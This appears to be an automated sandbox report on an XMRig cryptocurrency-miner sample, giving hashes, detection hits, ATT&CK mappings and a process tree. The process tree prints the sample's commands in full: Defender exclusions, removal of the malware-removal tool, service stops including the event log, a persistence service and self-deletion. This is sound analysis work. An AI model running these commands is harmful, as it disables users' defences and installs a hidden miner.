xmrig | cb00c812a1a82c757dd0cfa3fb50ea8542e84031742a45116617a353eaf01acd

Analysis

max time kernel
150s
max time network
140s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
31/05/2024, 23:12

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General

Target

83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
Size

5.3MB
MD5

83b58209eca8af0c1ffb70f20f248980
SHA1

79d4a419313c14b541b63b277173017a8fc810db
SHA256

cb00c812a1a82c757dd0cfa3fb50ea8542e84031742a45116617a353eaf01acd
SHA512

1911439ff7a5391cd3d1276fe7b16ff0bd0bcac10f27ea40398cbbcd42449315de43f4e8f54908d4f985a4d8831029fa292bc3f238bad3a0fce88a16aba03b67
SSDEEP

98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7

Score

10^/10

xmrig evasion execution miner persistence upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 8 IoCs

miner

resource	yara_rule
behavioral1/memory/1472-34-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-39-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-38-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-37-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-36-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-33-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-40-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral1/memory/1472-41-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2292	powershell.exe
1660	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Deletes itself 1 IoCs

pid	Process
3000	cmd.exe

Executes dropped EXE 2 IoCs

pid	Process
480	Process not Found
1032	lutlgidagtja.exe

Loads dropped DLL 1 IoCs

pid	Process
480	Process not Found

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1472-28-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-29-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-32-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-30-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-34-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-39-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-38-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-37-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-36-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-33-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-31-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-40-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral1/memory/1472-41-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Drops file in System32 directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	lutlgidagtja.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1032 set thread context of 1224	1032	lutlgidagtja.exe	84
PID 1032 set thread context of 1472	1032	lutlgidagtja.exe	87

Drops file in Windows directory 2 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File created	C:\Windows\wusa.lock	wusa.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2448	sc.exe
2280	sc.exe
724	sc.exe
2804	sc.exe
1972	sc.exe
2580	sc.exe
2992	sc.exe
1172	sc.exe
2644	sc.exe
2868	sc.exe
2612	sc.exe
2856	sc.exe
2896	sc.exe
1152	sc.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60c58b0eb0b3da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
2292	powershell.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1996	83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
1032	lutlgidagtja.exe
1660	powershell.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1032	lutlgidagtja.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe
1472	nslookup.exe

Suspicious use of AdjustPrivilegeToken 11 IoCs

description	pid	Process
Token: SeDebugPrivilege	2292	powershell.exe
Token: SeShutdownPrivilege	560	powercfg.exe
Token: SeShutdownPrivilege	2524	powercfg.exe
Token: SeShutdownPrivilege	2512	powercfg.exe
Token: SeShutdownPrivilege	3020	powercfg.exe
Token: SeDebugPrivilege	1660	powershell.exe
Token: SeShutdownPrivilege	292	powercfg.exe
Token: SeShutdownPrivilege	1228	powercfg.exe
Token: SeShutdownPrivilege	1392	powercfg.exe
Token: SeShutdownPrivilege	856	powercfg.exe
Token: SeLockMemoryPrivilege	1472	nslookup.exe

Suspicious use of WriteProcessMemory 23 IoCs

description	pid	Process	procid_target
PID 2572 wrote to memory of 2608	2572	cmd.exe	34
PID 2572 wrote to memory of 2608	2572	cmd.exe	34
PID 2572 wrote to memory of 2608	2572	cmd.exe	34
PID 3000 wrote to memory of 2652	3000	cmd.exe	61
PID 3000 wrote to memory of 2652	3000	cmd.exe	61
PID 3000 wrote to memory of 2652	3000	cmd.exe	61
PID 1964 wrote to memory of 3052	1964	cmd.exe	70
PID 1964 wrote to memory of 3052	1964	cmd.exe	70
PID 1964 wrote to memory of 3052	1964	cmd.exe	70
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1224	1032	lutlgidagtja.exe	84
PID 1032 wrote to memory of 1472	1032	lutlgidagtja.exe	87
PID 1032 wrote to memory of 1472	1032	lutlgidagtja.exe	87
PID 1032 wrote to memory of 1472	1032	lutlgidagtja.exe	87
PID 1032 wrote to memory of 1472	1032	lutlgidagtja.exe	87
PID 1032 wrote to memory of 1472	1032	lutlgidagtja.exe	87

C:\Users\Admin\AppData\Local\Temp\83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe"
1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:1996
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2292
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2572
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:2608
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2580
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2644
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:2868
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:2612
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:2448
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2512
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2524
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:560
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3020
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe delete "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:2280
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"
  2⤵
  - Launches sc.exe
  PID:2856
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop eventlog
  2⤵
  - Launches sc.exe
  PID:2896
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe start "JIOGRCSG"
  2⤵
  - Launches sc.exe
  PID:2992
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\83b58209eca8af0c1ffb70f20f248980_NeikiAnalytics.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:3000
- - C:\Windows\system32\choice.exe
    choice /C Y /N /D Y /T 3
    3⤵
    PID:2652

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1032
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1660
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1964
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    - Drops file in Windows directory
    PID:3052
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1972
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2804
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:724
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1152
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:292
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1392
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1228
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:1224
- C:\Windows\system32\nslookup.exe
  nslookup.exe
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe

Filesize
5.3MB

MD5
83b58209eca8af0c1ffb70f20f248980

SHA1
79d4a419313c14b541b63b277173017a8fc810db

SHA256
cb00c812a1a82c757dd0cfa3fb50ea8542e84031742a45116617a353eaf01acd

SHA512
1911439ff7a5391cd3d1276fe7b16ff0bd0bcac10f27ea40398cbbcd42449315de43f4e8f54908d4f985a4d8831029fa292bc3f238bad3a0fce88a16aba03b67

Download Submit
memory/1224-21-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1224-22-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1224-23-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1224-19-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1224-20-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1224-26-0x0000000140000000-0x000000014000E000-memory.dmp

Filesize
56KB

Download
memory/1472-39-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-30-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-41-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-40-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-31-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-33-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-36-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-28-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-29-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-37-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-38-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-34-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-32-0x0000000140000000-0x0000000140848000-memory.dmp

Filesize
8.3MB

Download
memory/1472-35-0x00000000000B0000-0x00000000000D0000-memory.dmp

Filesize
128KB

Download
memory/1660-17-0x000000001A090000-0x000000001A372000-memory.dmp

Filesize
2.9MB

Download
memory/1660-18-0x0000000000840000-0x0000000000848000-memory.dmp

Filesize
32KB

Download
memory/2292-5-0x000000001B450000-0x000000001B732000-memory.dmp

Filesize
2.9MB

Download
memory/2292-12-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-7-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-4-0x000007FEF59FE000-0x000007FEF59FF000-memory.dmp

Filesize
4KB

Download
memory/2292-6-0x0000000001D70000-0x0000000001D78000-memory.dmp

Filesize
32KB

Download
memory/2292-10-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-9-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-8-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download
memory/2292-11-0x000007FEF5740000-0x000007FEF60DD000-memory.dmp

Filesize
9.6MB

Download